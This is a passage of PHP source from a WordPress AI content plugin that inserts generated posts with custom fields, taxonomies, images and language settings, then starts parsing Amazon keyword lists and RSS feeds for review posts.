                                    $new_post_content = aiomatic_make_unique($new_post_content, $xchars, $rand_percentage);
                                }
                                if($ret_content == 1)
                                {
                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                        aiomatic_log_to_file('Returning AI generated content, finished.');
                                    }
                                    aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Finished processing'));
                                    return array($post_prepender . ' ' . $new_post_content . ' ' . $post_appender, $new_post_title);
                                }
                                $the_final_cont = $post_prepender . ' ' . $new_post_content . ' ' . $post_appender;
                                $my_post['post_content'] = $the_final_cont;
                                if(stristr($my_post['post_content'], '<pre><code><') !== false)
                                {
                                    if (!isset($aiomatic_Main_Settings['pre_code_off']) || trim($aiomatic_Main_Settings['pre_code_off']) != 'on')
                                    {
                                        $my_post['post_content'] = aiomatic_parse_pre_code_entities($my_post['post_content']);
                                    }
                                }
                                $my_post['post_title']           = $new_post_title;
                                $my_post['aiomatic_source_title']   = $amazon_kw;
                                $my_post['aiomatic_timestamp']   = aiomatic_get_date_now();
                                $my_post['aiomatic_post_format'] = $post_format;
                                if (isset($default_category) && $default_category !== 'aiomatic_no_category_12345678' && $default_category[0] !== 'aiomatic_no_category_12345678') 
                                {
                                    if(is_array($default_category))
                                    {
                                        $cextra = '';
                                        foreach($default_category as $dc)
                                        {
                                            $cextra .= ',' . get_cat_name($dc);
                                        }
                                        $extra_categories_temp = trim( $cextra . ',' . $extra_categories, ',');
                                    }
                                    else
                                    {
                                        $extra_categories_temp = trim(get_cat_name($default_category) . ',' .$extra_categories, ',');
                                    }
                                }
                                else
                                {
                                    $extra_categories_temp = $extra_categories;
                                }
                                $block_arr = array();
                                $custom_arr = array();
                                if($custom_fields != '')
                                {
                                    if(stristr($custom_fields, '=>') != false)
                                    {
                                        $rule_arr = explode(',', trim($custom_fields));
                                        foreach($rule_arr as $rule)
                                        {
                                            $my_args = explode('=>', trim($rule));
                                            if(isset($my_args[1]))
                                            {
                                                $my_args[1] = do_shortcode($my_args[1]);
                                                $my_args[0] = do_shortcode($my_args[0]);
                                                $custom_field_content = trim($my_args[1]);
                                                $custom_field_content = replaceAIPostShortcodes($custom_field_content, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                                $custom_field_content = aiomatic_replace_amazon($custom_field_content, $post_title, $amazon_kw, $product_title, $product_description, $aff_url, $product_author, $product_brand, $product_isbn, $product_upc, $offer_price, $product_price, $product_list_price, $price_numeric, $price_currency, $product_asin, $cart_url, $list_price_numeric, $product_imgs, $product_titles, $content_language, $writing_style, $writing_tone, implode(',' , $post_sections), $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $product_reviews, $default_cat_list, $item_score, $edition, $language, $pages_count, $publication_date, $contributors, $manufacturer, $binding, $product_group, $rating, $eans, $part_no, $model, $warranty, $color, $is_adult, $dimensions, $date, $size, $unit_count, $amazresult);
                                                $custom_field_content = aiomatic_replaceSynergyShortcodes($custom_field_content);
                                                $custom_field_content = $spintax->Parse($custom_field_content, $block_arr);
                                                $custom_field_content = aiomatic_replaceContentShortcodes($custom_field_content, $img_attr, $ai_command);
                                                if(stristr($my_args[1], 'serialize_') !== false)
                                                {
                                                    $custom_arr[trim($my_args[0])] = array(str_replace('serialize_', '', $custom_field_content));
                                                }
                                                else
                                                {
                                                    if(stristr($my_args[0], '[') !== false && stristr($my_args[0], ']') !== false)
                                                    {
                                                        preg_match_all('#([^\[\]]*?)\[([^\[\]]*?)\]#', $my_args[0], $cfm);
                                                        if(isset($cfm[2][0]))
                                                        {
                                                            if(isset($custom_arr[trim($cfm[1][0])]) && is_array($custom_arr[trim($cfm[1][0])]))
                                                            {
                                                                $custom_arr[trim($cfm[1][0])] = array_merge($custom_arr[trim($cfm[1][0])], array(trim($cfm[2][0]) => $custom_field_content));
                                                            }
                                                            else
                                                            {
                                                                $custom_arr[trim($cfm[1][0])] = array(trim($cfm[2][0]) => $custom_field_content);
                                                            }
                                                        }
                                                        else
                                                        {
                                                            $custom_arr[trim($my_args[0])] = $custom_field_content;
                                                        }
                                                    }
                                                    else
                                                    {
                                                        $custom_arr[trim($my_args[0])] = $custom_field_content;
                                                    }
                                                }
                                            }
                                        }
                                    }
                                }
                                $custom_arr = array_merge($custom_arr, array('aiomatic_auto_post_spinned' => $already_spinned, 'aiomatic_post_cats' => $extra_categories_temp, 'aiomatic_post_tags' => $post_the_tags));
                                $custom_tax_arr = array();
                                if($custom_tax != '')
                                {
                                    if(stristr($custom_tax, '=>') != false)
                                    {
                                        $rule_arr = explode(';', trim($custom_tax));
                                        foreach($rule_arr as $rule)
                                        {
                                            $my_args = explode('=>', trim($rule));
                                            if(isset($my_args[1]))
                                            {
                                                $custom_tax_content = trim($my_args[1]);
                                                $custom_tax_content = replaceAIPostShortcodes($custom_tax_content, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                                $custom_tax_content = aiomatic_replace_amazon($custom_tax_content, $post_title, $amazon_kw, $product_title, $product_description, $aff_url, $product_author, $product_brand, $product_isbn, $product_upc, $offer_price, $product_price, $product_list_price, $price_numeric, $price_currency, $product_asin, $cart_url, $list_price_numeric, $product_imgs, $product_titles, $content_language, $writing_style, $writing_tone, implode(',' , $post_sections), $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $product_reviews, $default_cat_list, $item_score, $edition, $language, $pages_count, $publication_date, $contributors, $manufacturer, $binding, $product_group, $rating, $eans, $part_no, $model, $warranty, $color, $is_adult, $dimensions, $date, $size, $unit_count, $amazresult);
                                                $custom_tax_content = aiomatic_replaceSynergyShortcodes($custom_tax_content);
                                                $custom_tax_content = $spintax->Parse($custom_tax_content, $block_arr);
                                                $custom_tax_content = aiomatic_replaceContentShortcodes($custom_tax_content, $img_attr, $ai_command);
                                                if(substr(trim($my_args[0]), 0, 3) === "pa_" && $post_type == 'product' && !empty($custom_tax_content))
                                                {
                                                    if(isset($custom_arr['_product_attributes']))
                                                    {
                                                        $custom_arr['_product_attributes'] = array_merge($custom_arr['_product_attributes'], array(trim($my_args[0]) =>array(
                                                            'name' => trim($my_args[0]),
                                                            'value' => $custom_tax_content,
                                                            'is_visible' => '1',
                                                            'is_taxonomy' => '1'
                                                        )));
                                                    }
                                                    else
                                                    {
                                                        $custom_arr['_product_attributes'] = array(trim($my_args[0]) =>array(
                                                            'name' => trim($my_args[0]),
                                                            'value' => $custom_tax_content,
                                                            'is_visible' => '1',
                                                            'is_taxonomy' => '1'
                                                        ));
                                                    }
                                                }
                                                if(isset($custom_tax_arr[trim($my_args[0])]))
                                                {
                                                    $custom_tax_arr[trim($my_args[0])] .= ',' . $custom_tax_content;
                                                }
                                                else
                                                {
                                                    $custom_tax_arr[trim($my_args[0])] = $custom_tax_content;
                                                }
                                            }
                                        }
                                    }
                                }
                                if(count($custom_tax_arr) > 0)
                                {
                                    $my_post['taxo_input'] = $custom_tax_arr;
                                }
                                $my_post['meta_input'] = $custom_arr;
                                if($parent_id != '')
                                {
                                    $my_post['post_parent'] = intval($parent_id);
                                }
                                if ($enable_pingback == '1') {
                                    $my_post['ping_status'] = 'open';
                                } else {
                                    $my_post['ping_status'] = 'closed';
                                }
                                if($min_time != '' && $max_time != '')
                                {
                                    $t1 = strtotime($min_time);
                                    $t2 = strtotime($max_time);
                                    if($t1 != false && $t2 != false)
                                    {
                                        $int = rand($t1, $t2);
                                        $my_post['post_date'] = date('Y-m-d H:i:s', $int);
                                    }
                                }
                                elseif($min_time != '')
                                {
                                    $t1 = strtotime($min_time);
                                    if($t1 != false)
                                    {
                                        $my_post['post_date'] = date('Y-m-d H:i:s', $t1);
                                    }
                                }
                                elseif($max_time != '')
                                {
                                    $t1 = strtotime($max_time);
                                    if($t1 != false)
                                    {
                                        $my_post['post_date'] = date('Y-m-d H:i:s', $t1);
                                    }
                                }
                                if($new_post_excerpt != '')
                                {
                                    $my_post['post_excerpt']          = $new_post_excerpt;
                                }
                                $count++;
                                if($update_post_id != '')
                                {
                                    $my_post['ID'] = $update_post_id;
                                }
                                remove_filter('content_save_pre', 'wp_filter_post_kses');
                                remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');remove_filter('title_save_pre', 'wp_filter_kses');
                                try
                                {
                                    $post_id = wp_insert_post($my_post, true);
                                }
                                catch(Exception $e)
                                {
                                    aiomatic_log_to_file('Exception in publishing post (this is coming from another plugin, so we ignore it): ' . $e->getMessage());
                                }
                                add_filter('content_save_pre', 'wp_filter_post_kses');
                                add_filter('content_filtered_save_pre', 'wp_filter_post_kses');add_filter('title_save_pre', 'wp_filter_kses');
                                if (!is_wp_error($post_id)) {
                                    if($post_id === 0)
                                    {
                                        aiomatic_log_to_file('An error occurred while inserting post into wp database! Title:' . $my_post['post_title']);
                                        continue;
                                    }
                                    $posts_inserted++;
                                    if($wpml_lang != '' && function_exists('pll_set_post_language'))
                                    {
                                        pll_set_post_language($post_id, $wpml_lang);
                                    }
                                    $default_categories = array();
                                    if($remove_default == '1' && ($auto_categories != 'disabled' || (isset($default_category) && $default_category !== 'aiomatic_no_category_12345678' && $default_category[0] !== 'aiomatic_no_category_12345678')))
                                    {
                                        $default_categories = wp_get_post_categories($post_id);
                                    }
                                    if(isset($my_post['taxo_input']))
                                    {
                                        foreach($my_post['taxo_input'] as $taxn => $taxval)
                                        {
                                            $taxn = trim($taxn);
                                            $taxval = trim($taxval);
                                            if(is_taxonomy_hierarchical($taxn))
                                            {
                                                $taxval = array_map('trim', explode(',', $taxval));
                                                for($ii = 0; $ii < count($taxval); $ii++)
                                                {
                                                    if(!is_numeric($taxval[$ii]))
                                                    {
                                                        $term_ids = [];
                                                        $parent_id = 0;
                                                        $hierarchy_parts = array_map('trim', explode('>', $taxval[$ii]));
                                                        foreach($hierarchy_parts as $hp)
                                                        {
                                                            if(!is_numeric($hp))
                                                            {
                                                                $xtermid = get_term_by('name', $hp, $taxn);
                                                                if($xtermid !== false)
                                                                {
                                                                    $parent_id = $xtermid->term_id;
                                                                    if(!is_numeric($taxval[$ii]))
                                                                    {
                                                                        $taxval[$ii] = intval($xtermid->term_id);
                                                                    }
                                                                    else
                                                                    {
                                                                        $taxval[] = intval($xtermid->term_id);
                                                                    }
                                                                }
                                                                else
                                                                {
                                                                    wp_insert_term( $hp, $taxn, ['parent' => $parent_id]);
                                                                    $xtermid = get_term_by('name', $hp, $taxn);
                                                                    if($xtermid !== false)
                                                                    {
                                                                        $parent_id = $xtermid->term_id;
                                                                        if($wpml_lang != '' && function_exists('pll_set_term_language'))
                                                                        {
                                                                            pll_set_term_language($xtermid->term_id, $wpml_lang); 
                                                                        }
                                                                        elseif($wpml_lang != '' && has_filter('wpml_object_id'))
                                                                        {
                                                                            $wpml_element_type = apply_filters( 'wpml_element_type', $taxn );
                                                                            $pars['element_id'] = $xtermid->term_id;
                                                                            $pars['element_type'] = $wpml_element_type;
                                                                            $pars['language_code'] = $wpml_lang;
                                                                            $pars['trid'] = FALSE;
                                                                            $pars['source_language_code'] = NULL;
                                                                            do_action('wpml_set_element_language_details', $pars);
                                                                        }
                                                                        if(!is_numeric($taxval[$ii]))
                                                                        {
                                                                            $taxval[$ii] = intval($xtermid->term_id);
                                                                        }
                                                                        else
                                                                        {
                                                                            $taxval[] = intval($xtermid->term_id);
                                                                        }
                                                                    }
                                                                }
                                                            }
                                                            else
                                                            {
                                                                if(!is_numeric($taxval[$ii]))
                                                                {
                                                                    $taxval[$ii] = intval($hp);
                                                                }
                                                                else
                                                                {
                                                                    $taxval[] = intval($hp);
                                                                }
                                                            }
                                                        }
                                                    }
                                                }
                                                wp_set_post_terms($post_id, $taxval, $taxn, true);
                                            }
                                            else
                                            {
                                                $jterms = array_map('trim', explode(',', $taxval));
                                                wp_set_post_terms($post_id, $jterms, $taxn, true);
                                            }
                                        }
                                    }
                                    if (isset($my_post['aiomatic_post_format']) && $my_post['aiomatic_post_format'] != '' && $my_post['aiomatic_post_format'] != 'post-format-standard') {
                                        wp_set_post_terms($post_id, $my_post['aiomatic_post_format'], 'post_format', true);
                                    }
                                    $featured_path = '';
                                    $get_img = $my_post['aiomatic_post_image'];
                                    if ($get_img != '') {
                                        if($my_post['aiomatic_local_image'] == '1')
                                        {
                                            $local_get_img = $get_img[0];
                                            if (!aiomatic_assign_featured_image_path($local_get_img, $post_id)) {
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                    aiomatic_log_to_file('aiomatic_assign_featured_image_path failed for ' . $local_get_img);
                                                }
                                            } else {
                                                $featured_path = $get_img[1];
                                            }
                                        }
                                        else
                                        {
                                            if(is_numeric($get_img))
                                            {
                                                $featured_path = aiomatic_assign_featured_image($get_img, $post_id);
                                            }
                                            else
                                            {
                                                if (!aiomatic_generate_featured_image($get_img, $post_id)) {
                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                        aiomatic_log_to_file('aiomatic_generate_featured_image failed for ' . $get_img);
                                                    }
                                                } else {
                                                    $featured_path = $get_img;
                                                }
                                            }
                                        }
                                    }
                                    if($featured_path == '')
                                    {
                                        if ($image_url != '') {
                                            $replacement = str_replace(array('[', ']'), '', $my_post['post_title']);
                                            $image_url_temp = str_replace('%%item_title%%', $replacement, $image_url);
                                            $image_url_temp = preg_replace_callback('#%%random_image\[([^\]]*?)\](\[\d+\])?%%#', function ($matches) {
                                                if(isset($matches[2]))
                                                {
                                                    $chance = trim($matches[2], '[]');
                                                }
                                                else
                                                {
                                                    $chance = '';
                                                }
                                                $arv = array();
                                                $my_img = aiomatic_get_random_image_google($matches[1], 0, 0, $chance, $arv);
                                                return $my_img;
                                            }, $image_url_temp);
                                            $img_rulx = $spintax->Parse(trim($image_url_temp));
                                            $selected_img = aiomatic_select_ai_image($my_post['post_title'], $img_rulx);
                                            if($selected_img === false)
                                            {
                                                $img_rulx = explode(',', $img_rulx);
                                                $img_rulx = trim($img_rulx[array_rand($img_rulx)]);
                                            }
                                            else
                                            {
                                                $img_rulx = $selected_img;
                                            }
                                            if(is_numeric($img_rulx))
                                            {
                                                $featured_path = aiomatic_assign_featured_image($img_rulx, $post_id);
                                            }
                                            else
                                            {
                                                if($img_rulx != '')
                                                {
                                                    if (!aiomatic_generate_featured_image($img_rulx, $post_id)) {
                                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                            aiomatic_log_to_file('aiomatic_generate_featured_image failed to default value: ' . $img_rulx . '!');
                                                        }
                                                    } else {
                                                        $featured_path = $img_rulx;
                                                    }
                                                }
                                            }
                                        }
                                    }
                                    if ($auto_categories != 'disabled') {
                                        if ($my_post['extra_categories'] != '') {
                                            $extra_cats = explode(',', $my_post['extra_categories']);
                                            if($post_type == 'product')
                                            {
                                                $product_tax = 'product_cat';
                                            }
                                            else
                                            {
                                                $product_tax = 'category';
                                            }
                                            foreach($extra_cats as $extra_cat)
                                            {
                                                $extra_cat = trim($extra_cat);
                                                $extra_cat = strip_tags($extra_cat);
                                                $extra_cat = preg_replace('#^\d+\.\s*#', '', $extra_cat);
                                                if(empty($extra_cat))
                                                {
                                                    continue;
                                                }
                                                if ($skip_inexist == '1') 
                                                {
                                                    if(!term_exists($extra_cat, $product_tax))
                                                    {
                                                        continue;
                                                    }
                                                }
                                                $termid = aiomatic_create_terms($product_tax, null, trim($extra_cat));
                                                wp_set_post_terms($post_id, $termid, $product_tax, true);
                                                if($wpml_lang != '' && function_exists('pll_set_term_language'))
                                                {
                                                    foreach($termid as $tx)
                                                    {
                                                        pll_set_term_language($tx, $wpml_lang); 
                                                    }
                                                }
                                                elseif($wpml_lang != '' && has_filter('wpml_object_id'))
                                                {
                                                    $wpml_element_type = apply_filters( 'wpml_element_type', 'product_cat' );
                                                    foreach($termid as $tx)
                                                    {
                                                        $pars['element_id'] = $tx;
                                                        $pars['element_type'] = $wpml_element_type;
                                                        $pars['language_code'] = $wpml_lang;
                                                        $pars['trid'] = FALSE;
                                                        $pars['source_language_code'] = NULL;
                                                        do_action('wpml_set_element_language_details', $pars);
                                                    }
                                                }
                                            }
                                        }
                                    }
                                    if (isset($default_category) && $default_category !== 'aiomatic_no_category_12345678' && $default_category[0] !== 'aiomatic_no_category_12345678') {
                                        $cats   = array();
                                        if(is_array($default_category))
                                        {
                                            foreach($default_category as $dc)
                                            {
                                                $cats[] = $dc;
                                            }
                                        }
                                        else
                                        {
                                            $cats[] = $default_category;
                                        }
                                        global $sitepress;
                                        if($wpml_lang != '' && has_filter('wpml_current_language') && $sitepress != null)
                                        {
                                            $current_language = apply_filters( 'wpml_current_language', NULL );
                                            $sitepress->switch_lang($wpml_lang);
                                        }
                                        wp_set_post_categories($post_id, $cats, true);
                                        if($wpml_lang != '' && function_exists('pll_set_term_language'))
                                        {
                                            foreach($cats as $cc)
                                            {
                                                pll_set_term_language($cc, $wpml_lang);
                                            }
                                        }
                                        elseif($wpml_lang != '' && has_filter('wpml_current_language') && $sitepress != null)
                                        {
                                            $sitepress->switch_lang($current_language);
                                        }
                                    }
                                    if (isset($my_post['tags_input']) && $my_post['tags_input'] != '')
                                    {
                                        if($post_type == 'product')
                                        {
                                            wp_set_post_terms($post_id, $my_post['tags_input'], 'product_tag', true);
                                        }
                                    }
                                    $tax_rez = wp_set_object_terms( $post_id, 'aiomatic_' . $type . '_' . $param, 'coderevolution_post_source', true);
                                    if (is_wp_error($tax_rez)) {
                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                            aiomatic_log_to_file('wp_set_object_terms failed for: ' . $post_id . '!');
                                        }
                                    }
                                    if($post_type == 'topic' && $parent_id != '')
                                    {
                                        update_post_meta($post_id, '_bbp_forum_id', $parent_id);
                                        update_post_meta($post_id, '_bbp_topic_id', $post_id);
                                        update_post_meta($post_id, '_bbp_voice_count', '0');
                                        update_post_meta($post_id, '_bbp_reply_count', '0');
                                        update_post_meta($post_id, '_bbp_reply_count_hidden', '0');
                                        update_post_meta($post_id, '_bbp_last_reply_id', '0');
                                        update_post_meta($post_id, '_bbp_last_active_id', $post_id);
                                        update_post_meta($post_id, '_bbp_last_active_time', get_post_field( 'post_date', $topic_id, 'db' ));
                                        do_action( 'bbp_insert_topic', (int) $post_id, (int) $parent_id );
                                    }
                                    if($post_type == 'reply' && $parent_id != '')
                                    {
                                        if(function_exists('bbp_get_topic_forum_id'))
                                        {
                                            $forum_aidi = bbp_get_topic_forum_id($parent_id);
                                            if(empty($forum_aidi))
                                            {
                                                $forum_aidi = 0;
                                            }
                                        }
                                        else
                                        {
                                            $forum_aidi = 0;
                                        }
                                        do_action( 'bbp_insert_reply', (int) $post_id, (int) $parent_id, (int) $forum_aidi );
                                    }
                                    if($remove_default == '1' && ($auto_categories != 'disabled' || (isset($default_category) && $default_category !== 'aiomatic_no_category_12345678' && $default_category[0] !== 'aiomatic_no_category_12345678')))
                                    {
                                        $new_categories = wp_get_post_categories($post_id);
                                        if(isset($default_categories) && !($default_categories == $new_categories))
                                        {
                                            foreach($default_categories as $dc)
                                            {
                                                $rem_cat = get_category( $dc );
                                                wp_remove_object_terms( $post_id, $rem_cat->slug, 'category' );
                                            }
                                        }
                                    }
                                    aiomatic_addPostMeta($post_id, $my_post, $param, $type, $featured_path, $post_topic, $rule_unique_id, $post_link);
                                    if($wpml_lang != '' && (class_exists('SitePress') || function_exists('wpml_object_id')))
                                    {
                                        $wpml_element_type = apply_filters( 'wpml_element_type', $post_type );
                                        $pars['element_id'] = $post_id;
                                        $pars['element_type'] = $wpml_element_type;
                                        $pars['language_code'] = $wpml_lang;
                                        $pars['source_language_code'] = NULL;
                                        do_action('wpml_set_element_language_details', $pars);
            
                                        global $wp_filesystem;
                                        if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){
                                            include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() );
                                            wp_filesystem($creds);
                                        }
                                        if($wp_filesystem->exists(WP_PLUGIN_DIR . '/sitepress-multilingual-cms/inc/wpml-api.php'))
                                        {
                                            include_once( WP_PLUGIN_DIR . '/sitepress-multilingual-cms/inc/wpml-api.php' );
                                        }
                                        $wpml_lang = trim($wpml_lang);
                                        if(function_exists('wpml_update_translatable_content'))
                                        {
                                            wpml_update_translatable_content('post_' . $post_type, $post_id, $wpml_lang);
                                            if($my_post['post_title'] != '')
                                            {
                                                global $sitepress;
                                                global $wpdb;
                                                $keyid = md5($my_post['post_title']);
                                                $keyName = $keyid . '_wpml';
                                                $rezxxxa = $wpdb->get_results( "SELECT * FROM {$wpdb->prefix}postmeta WHERE `meta_key` = '$keyName' limit 1", ARRAY_A );
                                                if(count($rezxxxa) != 0)
                                                {
                                                    $metaRow = $rezxxxa[0];
                                                    $metaValue = $metaRow['meta_value'];
                                                    $metaParts = explode('_', $metaValue);
                                                    $sitepress->set_element_language_details($post_id, 'post_'.$my_post['post_type'] , $metaParts[0], $wpml_lang, $metaParts[1] ); 
                                                }
                                                else
                                                {
                                                    $ptrid = $sitepress->get_element_trid($post_id);
                                                    update_post_meta($post_id, $keyid.'_wpml', $ptrid.'_'.$wpml_lang );
                                                }
                                            }
                                            
                                        }
                                    }
                                    if (isset($aiomatic_Main_Settings['draft_first']) && $aiomatic_Main_Settings['draft_first'] == 'on' && $draft_me == true)
                                    {
                                        aiomatic_change_post_status($post_id, 'publish');
                                    }
                                } else {
                                    aiomatic_log_to_file('Failed to insert post into wp database(3)! Title:' . $my_post['post_title'] . '! Error: ' . $post_id->get_error_message() . 'Error code: ' . $post_id->get_error_code() . 'Error data: ' . $post_id->get_error_data());
                                    continue;
                                }
                            }
                        }
                        elseif($type == '3')
                        {
                            $amazon_keyword = str_replace(',', '|', $amazon_keyword);
                            $amazon_keyword_lines = array();
                            if($amazon_keyword != '')
                            {
                                $amazon_keyword_lines = preg_split('/\r\n|\r|\n/', $amazon_keyword);
                            }
                            else
                            {
                                aiomatic_log_to_file('You need to enter an Amazon product search ASIN to use this feature!');
                                if($auto == 1)
                                {
                                    aiomatic_clearFromList($param, $type);
                                }
                                return 'fail';
                            }
                            $additional_kws = array();
                            $post_link = '';
                            $user_name        = '';
                            $featured_image   = '';
                            $post_cats = '';
                            $post_tagz = '';
                            $post_excerpt = '';
                            $final_content = '';
                            $postID = '';
                            $heading_val = '';
                            $image_query = '';
                            $temp_post = '';
                            $cntx = count($amazon_keyword_lines);
                            $rss_feeds = array();
                            for($ji = 0; $ji < $cntx; $ji++)
                            {
                                if (filter_var($amazon_keyword_lines[$ji], FILTER_VALIDATE_URL) !== false && stristr($amazon_keyword_lines[$ji], 'youtu') === false) 
                                {
                                    if(aiomatic_endsWith($amazon_keyword_lines[$ji], '.txt'))
                                    {
                                        $txt_content = aiomatic_get_web_page($amazon_keyword_lines[$ji]);
                                        if ($txt_content === FALSE) 
                                        {
                                            aiomatic_log_to_file('Failed to read text file: ' . $amazon_keyword_lines[$ji]);
                                            if($auto == 1)
                                            {
                                                aiomatic_log_to_file($param);
                                            }
                                            continue;
                                        }
                                        unset($amazon_keyword_lines[$ji]);
                                        $additional_kws = preg_split('/\r\n|\r|\n/', $txt_content);
                                    }
                                    else
                                    {
                                        aiomatic_log_to_file('Trying to parse RSS feed items: ' . $amazon_keyword_lines[$ji]);
                                        try
                                        {
                                            if(!class_exists('SimplePie_Autoloader', false))
                                            {
                                                require_once(dirname(__FILE__) . "/res/simplepie/autoloader.php");
                                            }
                                        }
                                        catch(Exception $e) 
                                        {
                                            aiomatic_log_to_file('Exception thrown in SimplePie autoloader: ' . $e->getMessage());
                                            if($auto == 1)
                                            {
                                                aiomatic_log_to_file($param);
                                            }
                                            continue;
                                        }
                                        $feed = new SimplePie();
                                        $feed->set_timeout(120);
                                        $feed->set_feed_url($amazon_keyword_lines[$ji]);
                                        $feed->enable_cache(false);
                                        $feed->strip_htmltags(false);
                                        $feed->init();
                                        $feed->handle_content_type();
                                        if ($feed->error()) 
                                        {
                                            aiomatic_log_to_file('Error in parsing RSS feed: ' . $feed->error() . ' for ' . $amazon_keyword_lines[$ji]);
                                            if($auto == 1)
                                            {
                                                aiomatic_clearFromList($param, $type);
                                            }
                                            continue;
                                        }
                                        $items = $feed->get_items();
                                        $zero = true;
                                        foreach($items as $itemx)
                                        {
                                            if($zero == true)
                                            {
                                                $post_link = trim($itemx->get_permalink());
                                                if(isset($rss_items[$post_link]))
                                                {
                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                        aiomatic_log_to_file('Skipping RSS title because it was already processed before: ' . $itemx->get_title());
                                                    }
                                                    continue;
                                                }
                                                if ($fauthor = $itemx->get_author()) 
                                                {
                                                    $user_name = $fauthor->get_name();
                                                }
                                                else
                                                {
                                                    $user_name = '';
                                                }
                                                $feed_cats = array();
                                                if(isset($itemx->category))
                                                {
                                                    foreach($itemx->category as $cata)
                                                    {
                                                        $feed_cats[] = $cata->__toString();
                                                    }
                                                    if(count($feed_cats) == 0)
                                                    {
                                                        $feed_cats[] = $itemx->category->__toString();
                                                    }
                                                    $post_cats = implode(',', $feed_cats);
                                                }
                                                else
                                                {
                                                    $post_cats = '';
                                                }
                                                $post_excerpt = $itemx->get_description();
                                                $final_content = $itemx->get_content();
                                                $rss_feeds[$itemx->get_title()] = array('url' => $post_link, 'author' => $user_name,  'cats' => $post_cats, 'excerpt' => $post_excerpt, 'content' => $final_content );
                                            }
                                            else
                                            {
                                                $post_link_temp = trim($itemx->get_permalink());
                                                if(isset($rss_items[$post_link_temp]))
                                                {
                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                        aiomatic_log_to_file('Skipping RSS title because it was already processed before: ' . $itemx->get_title());
                                                    }
                                                    continue;
                                                }
                                                if ($fauthor = $itemx->get_author()) 
                                                {
                                                    $user_name_temp = $fauthor->get_name();
                                                }
                                                else
                                                {
                                                    $user_name_temp = '';
                                                }
                                                $feed_cats = array();
                                                if(isset($itemx->category))
                                                {
                                                    foreach($itemx->category as $cata)
                                                    {
                                                        $feed_cats[] = $cata->__toString();
                                                    }
                                                    if(count($feed_cats) == 0)
                                                    {
                                                        $feed_cats[] = $itemx->category->__toString();
                                                    }
                                                    $post_cats_temp = implode(',', $feed_cats);
                                                }
                                                else
                                                {
                                                    $post_cats_temp = '';
                                                }
                                                $post_excerpt_temp = $itemx->get_description();
                                                $final_content_temp = $itemx->get_content();
                                                $rss_feeds[$itemx->get_title()] = array('url' => $post_link_temp, 'author' => $user_name_temp,  'cats' => $post_cats_temp, 'excerpt' => $post_excerpt_temp, 'content' => $final_content_temp );
                                            }
                                            $additional_kws[] = $itemx->get_title();
                                            $zero = false;
                                        }
                                        unset($amazon_keyword_lines[$ji]);
                                    }
                                }
                            }
                            if(count($additional_kws) > 0)
                            {
                                $amazon_keyword_lines = array_merge($amazon_keyword_lines, $additional_kws);
                            }
                            $amazon_keyword_lines = array_unique($amazon_keyword_lines);
                            if($overwrite_existing == '1')
                            {
                                $amazon_keyword_lines_processed = array();
                                foreach($amazon_keyword_lines as $zind => $ptl)
                                {
                                    $ptlprocessed = explode('!###!', $ptl);
                                    if(isset($ptlprocessed[1]) && !empty($ptlprocessed[1]) && !empty($ptlprocessed[0]))
                                    {
                                        $amazon_keyword_lines_processed[$zind] = $ptlprocessed[0];
                                    }
                                    else
                                    {
                                        $amazon_keyword_lines_processed[$zind] = $ptl;
                                    }
                                }
                                foreach($posted_items as $ptit => $pid)
                                {
                                    if (($key = array_search($ptit, $amazon_keyword_lines_processed)) !== false) {
                                        $update_post_id = $pid;
                                        break;
                                    }
                                }
                            }
                            else
                            {
                                if($title_once == '1')
                                {
                                    $skipt = 0;
                                    $amazon_keyword_lines_processed = array();
                                    foreach($amazon_keyword_lines as $zind => $ptl)
                                    {
                                        $ptlprocessed = explode('!###!', $ptl);
                                        if(isset($ptlprocessed[1]) && !empty($ptlprocessed[1]) && !empty($ptlprocessed[0]))
                                        {
                                            $amazon_keyword_lines_processed[$zind] = $ptlprocessed[0];
                                        }
                                        else
                                        {
                                            $amazon_keyword_lines_processed[$zind] = $ptl;
                                        }
                                    }
                                    foreach($posted_items as $ptit => $pid)
                                    {
                                        if (($key = array_search($ptit, $amazon_keyword_lines_processed)) !== false) {
                                            aiomatic_log_to_file('Skipping Amazon reviews title, already processed: ' . $ptit);
                                            unset($amazon_keyword_lines[$key]);
                                            unset($amazon_keyword_lines_processed[$key]);
                                            $skipt++;
                                        }
                                    }
                                    if(count($amazon_keyword_lines) == 0 && $skipt > 0)
                                    {
                                        if (isset($aiomatic_Main_Settings['email_notification']) && $aiomatic_Main_Settings['email_notification'] != '')
                                        {
                                            if($count === 1)
                                            {
                                                $email_list = explode(',', $aiomatic_Main_Settings['email_notification']);
                                                foreach($email_list as $thisaddr)
                                                {
                                                    $thisaddr = trim($thisaddr);
                                                    try
                                                    {
                                                        $to        = $thisaddr;
                                                        $subject   = '[Aiomatic] Amazon Reviews Keywords depleted rule ID ' . $param . ' - ' . aiomatic_get_date_now();
                                                        $message   = 'Amazon Reviews Rule ID ' . esc_html($param) . ' (' . $rule_description . ') depleted its Amazon keywords list, no new posts publised! Website URL: ' . get_site_url();
                                                        $headers[] = 'From: Aiomatic Plugin <aiomatic@noreply.net>';
                                                        $headers[] = 'Reply-To: noreply@noreply.net';
                                                        $headers[] = 'X-Mailer: PHP/' . phpversion();
                                                        $headers[] = 'Content-Type: text/html';
                                                        $headers[] = 'Charset: ' . get_option('blog_charset', 'UTF-8');
                                                        wp_mail($to, $subject, $message, $headers);
                                                    }
